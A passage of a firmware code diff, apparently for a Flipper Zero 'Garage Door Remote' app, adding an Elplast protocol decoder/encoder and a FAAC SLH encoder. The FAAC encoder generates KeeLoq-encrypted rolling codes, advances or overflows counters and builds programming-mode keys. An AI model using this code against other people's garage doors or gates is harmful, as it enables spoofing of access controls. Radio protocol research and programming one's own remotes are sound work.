+            flipper_format,
+            subghz_protocol_elplast_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_elplast_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_elplast_stop(void* context) {
+    SubGhzProtocolEncoderElplast* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_elplast_yield(void* context) {
+    SubGhzProtocolEncoderElplast* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderElplast* instance = malloc(sizeof(SubGhzProtocolDecoderElplast));
+    instance->base.protocol = &subghz_protocol_elplast;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_elplast_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_elplast_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    instance->decoder.parser_step = ElplastDecoderStepReset;
+}
+
+void subghz_protocol_decoder_elplast_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+
+    // Elplast/P-11B/3BK/E.C.A Decoder
+    // 2025.09 - @xMasterX (MMX)
+
+    // Key samples
+    // 00110010110000001010 = 32C0A
+    // 00110010110010000010 = 32C82
+
+    switch(instance->decoder.parser_step) {
+    case ElplastDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
+                        subghz_protocol_elplast_const.te_delta * 13)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+        }
+        break;
+    case ElplastDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = ElplastDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = ElplastDecoderStepReset;
+        }
+        break;
+    case ElplastDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long and short timing = 1550us HIGH (te_last) and 230us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
+                subghz_protocol_elplast_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_short) <
+                subghz_protocol_elplast_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+                // Bit 0 is short and long timing = 230us HIGH (te_last) and 1550us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
+                 subghz_protocol_elplast_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long) <
+                 subghz_protocol_elplast_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
+                subghz_protocol_elplast_const.te_delta * 13) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
+                    subghz_protocol_elplast_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
+                    subghz_protocol_elplast_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got 18 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_elplast_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = ElplastDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = ElplastDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ElplastDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_elplast_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%05lX\r\n"
+        "Yek: 0x%05lX",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        code_found_reverse_lo);
+}

applications/system/Garage Door Remote/protocols/elplast.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ELPLAST_NAME "Elplast"
+
+typedef struct SubGhzProtocolDecoderElplast SubGhzProtocolDecoderElplast;
+typedef struct SubGhzProtocolEncoderElplast SubGhzProtocolEncoderElplast;
+
+extern const SubGhzProtocolDecoder subghz_protocol_elplast_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_elplast_encoder;
+extern const SubGhzProtocol subghz_protocol_elplast;
+
+/**
+ * Allocate SubGhzProtocolEncoderElplast.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderElplast* pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderElplast.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void subghz_protocol_encoder_elplast_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void subghz_protocol_encoder_elplast_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_elplast_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderElplast.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderElplast* pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void subghz_protocol_decoder_elplast_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void subghz_protocol_decoder_elplast_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_elplast_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/faac_slh.c

@@ -0,0 +1,795 @@
+#include "faac_slh.h"
+#include "../subghz_keystore.h"
+#include <m-array.h>
+#include "keeloq_common.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocolFaacSLH"
+
+static const SubGhzBlockConst subghz_protocol_faac_slh_const = {
+    .te_short = 255,
+    .te_long = 595,
+    .te_delta = 100,
+    .min_count_bit_for_found = 64,
+};
+
+static uint32_t temp_fix_backup = 0;
+static uint32_t temp_counter_backup = 0;
+static bool faac_prog_mode = false;
+static bool allow_zero_seed = false;
+
+void faac_slh_reset_prog_mode(void) {
+    temp_fix_backup = 0;
+    temp_counter_backup = 0;
+    faac_prog_mode = false;
+    allow_zero_seed = false;
+}
+
+struct SubGhzProtocolDecoderFaacSLH {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+};
+
+struct SubGhzProtocolEncoderFaacSLH {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+};
+
+typedef enum {
+    FaacSLHDecoderStepReset = 0,
+    FaacSLHDecoderStepFoundPreambula,
+    FaacSLHDecoderStepSaveDuration,
+    FaacSLHDecoderStepCheckDuration,
+} FaacSLHDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder = {
+    .alloc = subghz_protocol_decoder_faac_slh_alloc,
+    .free = subghz_protocol_decoder_faac_slh_free,
+
+    .feed = subghz_protocol_decoder_faac_slh_feed,
+    .reset = subghz_protocol_decoder_faac_slh_reset,
+
+    .get_hash_data = subghz_protocol_decoder_faac_slh_get_hash_data,
+    .serialize = subghz_protocol_decoder_faac_slh_serialize,
+    .deserialize = subghz_protocol_decoder_faac_slh_deserialize,
+    .get_string = subghz_protocol_decoder_faac_slh_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder = {
+    .alloc = subghz_protocol_encoder_faac_slh_alloc,
+    .free = subghz_protocol_encoder_faac_slh_free,
+
+    .deserialize = subghz_protocol_encoder_faac_slh_deserialize,
+    .stop = subghz_protocol_encoder_faac_slh_stop,
+    .yield = subghz_protocol_encoder_faac_slh_yield,
+};
+
+const SubGhzProtocol subghz_protocol_faac_slh = {
+    .name = SUBGHZ_PROTOCOL_FAAC_SLH_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_faac_slh_decoder,
+    .encoder = &subghz_protocol_faac_slh_encoder,
+};
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manufacture_name
+ */
+static void subghz_protocol_faac_slh_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name);
+
+void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH));
+
+    instance->base.protocol = &subghz_protocol_faac_slh;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_faac_slh_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) {
+    // override button if we change it with signal settings button editor
+    // else work as standart
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn)) {
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+    } else {
+        // TODO: Stupid bypass for custom button, remake later
+        if(subghz_custom_btn_get_original() == 0) {
+            // subghz_custom_btn_set_original(0xF);
+        }
+
+        uint8_t custom_btn_id = subghz_custom_btn_get();
+
+        // If we are using UP button - generate programming mode key and send it, otherwise - send regular key if possible
+        if((custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) &&
+           !(!allow_zero_seed && (instance->generic.seed == 0x0))) {
+            uint8_t data_tmp = 0;
+            uint8_t data_prg[8];
+
+            data_prg[0] = 0x00;
+
+            if(allow_zero_seed || (instance->generic.seed != 0x0)) {
+                // check OFEX mode
+                if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+                    // standart counter mode. PULL data from subghz_block_generic_global variables
+                    if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                        // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                        if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
+                           0xFFFFF) {
+                            instance->generic.cnt = 0;
+                        } else {
+                            instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                        }
+                    }
+                } else {
+                    // TODO: OFEX mode
+                    instance->generic.cnt += 1;
+                }
+
+                if(temp_counter_backup != 0x0) {
+                    // check OFEX mode
+                    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+                        // standart counter mode. PULL data from subghz_block_generic_global variables
+                        if(!subghz_block_generic_global_counter_override_get(
+                               &temp_counter_backup)) {
+                            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                            if((temp_counter_backup + furi_hal_subghz_get_rolling_counter_mult()) >
+                               0xFFFFF) {
+                                temp_counter_backup = 0;
+                            } else {
+                                temp_counter_backup += furi_hal_subghz_get_rolling_counter_mult();
+                            }
+                        }
+                    } else {
+                        // todo OFEX mode
+                        temp_counter_backup += 1;
+                    }
+                }
+            }
+
+            data_prg[1] = instance->generic.cnt & 0xFF;
+
+            data_prg[2] = (uint8_t)(instance->generic.seed & 0xFF);
+            data_prg[3] = (uint8_t)(instance->generic.seed >> 8 & 0xFF);
+            data_prg[4] = (uint8_t)(instance->generic.seed >> 16 & 0xFF);
+            data_prg[5] = (uint8_t)(instance->generic.seed >> 24);
+
+            data_prg[2] ^= data_prg[1];
+            data_prg[3] ^= data_prg[1];
+            data_prg[4] ^= data_prg[1];
+            data_prg[5] ^= data_prg[1];
+
+            for(uint8_t i = data_prg[1] & 0x0F; i != 0; i--) {
+                data_tmp = data_prg[5];
+
+                data_prg[5] = ((data_prg[5] << 1) & 0xFF) | (data_prg[4] & 0x80) >> 7;
+                data_prg[4] = ((data_prg[4] << 1) & 0xFF) | (data_prg[3] & 0x80) >> 7;
+                data_prg[3] = ((data_prg[3] << 1) & 0xFF) | (data_prg[2] & 0x80) >> 7;
+                data_prg[2] = ((data_prg[2] << 1) & 0xFF) | (data_tmp & 0x80) >> 7;
+            }
+            data_prg[6] = 0x0F;
+            data_prg[7] = 0x52;
+
+            uint32_t enc_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
+                                 data_prg[4];
+            uint32_t enc_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
+                                 data_prg[0];
+            instance->generic.data = (uint64_t)enc_prg_1 << 32 | enc_prg_2;
+            //FURI_LOG_D(TAG, "New Prog Mode Key Generated: %016llX\r", instance->generic.data);
+
+            return true;
+        } else {
+            if(!allow_zero_seed && (instance->generic.seed == 0x0)) {
+                // Do not generate new data, send data from buffer
+                return true;
+            }
+            // If we are in prog mode and regular Send button is used - Do not generate new data, send data from buffer
+            if((faac_prog_mode == true) && (instance->generic.serial == 0x0) &&
+               (instance->generic.btn == 0x0) && (temp_fix_backup == 0x0)) {
+                return true;
+            }
+        }
+        // Restore main remote data when we exit programming mode
+        if((instance->generic.serial == 0x0) && (instance->generic.btn == 0x0) &&
+           (temp_fix_backup != 0x0) && !faac_prog_mode) {
+            instance->generic.serial = temp_fix_backup >> 4;
+            instance->generic.btn = temp_fix_backup & 0xF;
+            if(temp_counter_backup != 0x0) {
+                instance->generic.cnt = temp_counter_backup;
+            }
+        }
+    }
+    uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
+    uint32_t hop = 0;
+    uint32_t decrypt = 0;
+    uint64_t man = 0;
+    int res = 0;
+    char fixx[8] = {};
+    int shiftby = 32;
+    for(int i = 0; i < 8; i++) {
+        fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
+    }
+
+    if(allow_zero_seed || (instance->generic.seed != 0x0)) {
+        // check OFEX mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
+                   0xFFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            // OFEX mode
+            if(instance->generic.cnt < 0xFFFFF) {
+                if((instance->generic.cnt + 0xFFFFF) > 0xFFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += 0xFFFFF;
+                }
+            } else if(
+                (instance->generic.cnt >= 0xFFFFF) &&
+                (furi_hal_subghz_get_rolling_counter_mult() != 0)) {
+                instance->generic.cnt = 0;
+            }
+        }
+    }
+
+    if((instance->generic.cnt % 2) == 0) {
+        decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    } else {
+        decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    }
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            res = strcmp(furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
+            if(res == 0) {
+                switch(manufacture_code->type) {
+                case KEELOQ_LEARNING_FAAC:
+                    //FAAC Learning
+                    man = subghz_protocol_keeloq_common_faac_learning(
+                        instance->generic.seed, manufacture_code->key);
+                    hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                    break;
+                }
+                break;
+            }
+        }
+    if(hop) {
+        instance->generic.data = (uint64_t)fix << 32 | hop;
+    }
+    return true;
+}
+
+bool subghz_protocol_faac_slh_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    uint32_t seed,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    // OwO
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.btn = btn;
+    instance->generic.cnt = (cnt & 0xFFFFF);
+    instance->generic.seed = seed;
+    instance->manufacture_name = manufacture_name;
+    instance->generic.data_count_bit = 64;
+    allow_zero_seed = true;
+    bool res = subghz_protocol_faac_slh_gen_data(instance);
+    if(res) {
+        return SubGhzProtocolStatusOk ==
+               subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    }
+    return res;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) {
+    furi_assert(instance);
+
+    subghz_protocol_faac_slh_gen_data(instance);
+    size_t index = 0;
+    size_t size_upload = 2 + (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_E(TAG, "Missing Seed");
+            break;
+        }
+        bool tmp_allow_zero_seed;
+        if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
+            allow_zero_seed = true;
+        } else {
+            allow_zero_seed = false;
+        }
+
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        subghz_protocol_faac_slh_check_remote_controller(
+            &instance->generic, instance->keystore, &instance->manufacture_name);
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_faac_slh_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_faac_slh_stop(void* context) {
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context) {
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH));
+    instance->base.protocol = &subghz_protocol_faac_slh;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    return instance;
+}
+
+void subghz_protocol_decoder_faac_slh_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_faac_slh_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    instance->decoder.parser_step = FaacSLHDecoderStepReset;
+}
+
+void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case FaacSLHDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
+                       subghz_protocol_faac_slh_const.te_delta * 3)) {
+            instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
+        }
+        break;
+    case FaacSLHDecoderStepFoundPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
+                        subghz_protocol_faac_slh_const.te_delta * 3)) {
+            //Found Preambula
+            instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    case FaacSLHDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= ((uint32_t)subghz_protocol_faac_slh_const.te_short * 3 +
+                            subghz_protocol_faac_slh_const.te_delta)) {
+                instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_faac_slh_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = FaacSLHDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    case FaacSLHDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_short) <
+                subghz_protocol_faac_slh_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long) <
+                subghz_protocol_faac_slh_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_long) <
+                 subghz_protocol_faac_slh_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_short) <
+                 subghz_protocol_faac_slh_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
